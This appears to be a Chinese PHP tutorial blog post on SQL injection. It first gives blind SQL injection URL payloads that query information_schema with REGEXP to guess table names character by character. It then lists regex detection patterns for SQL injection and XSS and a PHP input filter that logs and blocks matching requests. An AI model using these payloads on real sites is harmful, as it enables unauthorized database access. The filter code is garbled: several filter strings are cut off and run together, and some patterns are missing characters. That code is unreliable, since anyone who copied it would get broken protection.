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php中常见的sql攻击正则表达式汇总

Jun 06, 2016 pm 08:18 PM
php regular expression

这篇文章主要介绍了php中常见的sql攻击正则表达式,实例汇总了针对各种常见的SQL语句及正则表达式原理的分析与应用,对于PHP程序设计的安全来说具有很好的参考借鉴

本文实例讲述了php中常见的sql攻击正则表达式。分享给大家供大家参考。具体分析如下:

我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

复制代码 代码如下:

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2. 判断第一个字符是否是a-n中的字符

复制代码 代码如下:

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3. 确定该字符为n

复制代码 代码如下:

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4. 表达式的更换如下

复制代码 代码如下:

expression like this:  '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE


这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news‘ 不就行了。

5.接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。

例如:

复制代码 代码如下:

$Exec_Commond  = "( \s|\S)*(exec(\s|\+)+(s|x)p\w+)(\s|\S)*";
$Simple_XSS = "( \s|\S)*((%3C)|)(\s|\S)*";
$Eval_XSS  = "( \s|\S)*((%65)|e)(\s)*((%76)|v)(\s)*((%61)|a)(\s)*((%6C)|l)(\s|\S)*";
$Image_XSS  = "( \s|\S)*((%3C)|)(\s|\S)*" ;
$Script_XSS = "( \s|\S)*((%73)|s)(\s)*((%63)|c)(\s)*((%72)|r)(\s)*((%69)|i)(\s)*((%70)|p)(\s)*((%74)|t)(\s|\S)*";
$SQL_Injection = "( \s|\S)*((%27)|(')|(%3D)|(=)|(/)|(%2F)|(")|((%22)|(-|%2D){2})|(%23)|(%3B)|(;))+(\s|\S)*";

sql攻击代码:

复制代码 代码如下:

function customError($errno, $errstr, $errfile, $errline)
{
    echo "Error number: [$errno],error on line $errline in $errfile
";
    die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)\b.+?(>| $postfilter="\b(and|or)\b.{1,6}?(=|>| $cookiefilter="\b(and|or)\b.{1,6}?(=|>| function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq)
{   
    if(is_array($StrFiltValue))
    {
        $StrFiltValue=implode($StrFiltValue);
    }
    if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1&&!isset($_REQUEST['securityToken']))
    {
        slog("

操作IP: ".$_SERVER["REMOTE_ADDR"]."
操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."
操作页面:".$_SERVER["PHP_SELF"]."
提交方式: ".$_SERVER["REQUEST_METHOD"]."
提交参数: ".$StrFiltKey."
提交数据: ".$StrFiltValue);
        print "result notice:Illegal operation!";
        exit();
    }
}
foreach($_GET as $key=>$value)
{
    StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value)
{
    StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value)
{
    StopAttack($key,$value,$cookiefilter);
}
  
function slog($logs)
{
    $toppath="log.htm";
    $Ts=fopen($toppath,"a+");
    fputs($Ts,$logs."rn");
    fclose($Ts);
}
?>


sql分析:

如果使用这个函数的话,这个函数会绕开PHP的标准出错处理,,所以说得自己定义报错处理程序(die())。
其次,如果代码执行前就发生了错误,那个时候用户自定义的程序还没有执行,所以就不会用到用户自己写的报错处理程序。 

那么,PHP里有一套错误处理机制,可以使用set_error_handler()接管PHP错误处理,也可以使用trigger_error()函数主动抛出一个错误。

set_error_handler()函数设置用户自定义的错误处理函数。函数用于创建运行期间的用户自己的错误处理方法。它需要先创建一个错误处理函数,然后设置错误级别。   
关于的用法:

复制代码 代码如下:

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